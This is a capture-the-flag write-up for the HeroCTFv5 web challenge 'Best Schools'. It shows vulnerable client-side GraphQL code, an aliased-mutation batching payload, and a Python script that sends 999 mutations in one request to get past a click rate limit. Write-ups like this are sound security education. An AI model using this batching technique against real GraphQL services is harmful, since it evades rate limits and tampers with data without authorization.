[HeroCTFv5 - Web] Best Schools
under B0rn2PwnCTF team
Overview
An anonymous company has decided to publish a ranking of the best schools, and it is based on the number of clicks on a button! Make sure you get the ‘Flag CyberSecurity School’ in first place and you’ll get your reward!
Detect vulnerable source code
function updateNbClick(schoolName)
{
var updated_school = [];
fetch("/graphql", {
method: "POST",
headers:{
"Content-Type": "application/json",
"Accept": "application/json"
},
body: JSON.stringify({query: `mutation { increaseClickSchool(schoolName: "${schoolName}"){schoolId, nbClick} }`})
}).then(r => r.json())
.then(
function(data)
{
if(data.error != undefined)
{
alert(data.error)
}
document.getElementById(`click${data.data.increaseClickSchool.schoolId}`).innerHTML = data.data.increaseClickSchool.nbClick
}
)
}
For each click on a school, the website increment the click number and we have to wait few minutes before retry another click. We note the the backend use mutate instruction to increase click number through Graphql. We perform graphql injection in order to abuse the increaseClickSchool function.
Payload
{"query": "mutation { mutation1: increaseClickSchool(schoolName: \"Flag CyberSecurity School\") { schoolId, nbClick } mutation2: increaseClickSchool(schoolName: \"Flag CyberSecurity School\") { schoolId, nbClick } mutation3: increaseClickSchool(schoolName: \"Flag CyberSecurity School\") { schoolId, nbClick } mutation20: increaseClickSchool(schoolName: \"Flag CyberSecurity School\") { schoolId, nbClick } }"}
exploit
import requests
url = 'http://dyn-01.heroctf.fr:11896/graphql'
headers = {'Content-Type': 'application/json', 'Accept': 'application/json'}
mutations = '\n'.join(f'mutation{i}: increaseClickSchool(schoolName: "Flag CyberSecurity School") {{ schoolId, nbClick }}' for i in range(1, 1000))
query = f'mutation {{ {mutations} }}'
data = {'query': query}
response = requests.post(url, headers=headers, json=data)
print(response.text)
Launch this script 2 times and get the flag.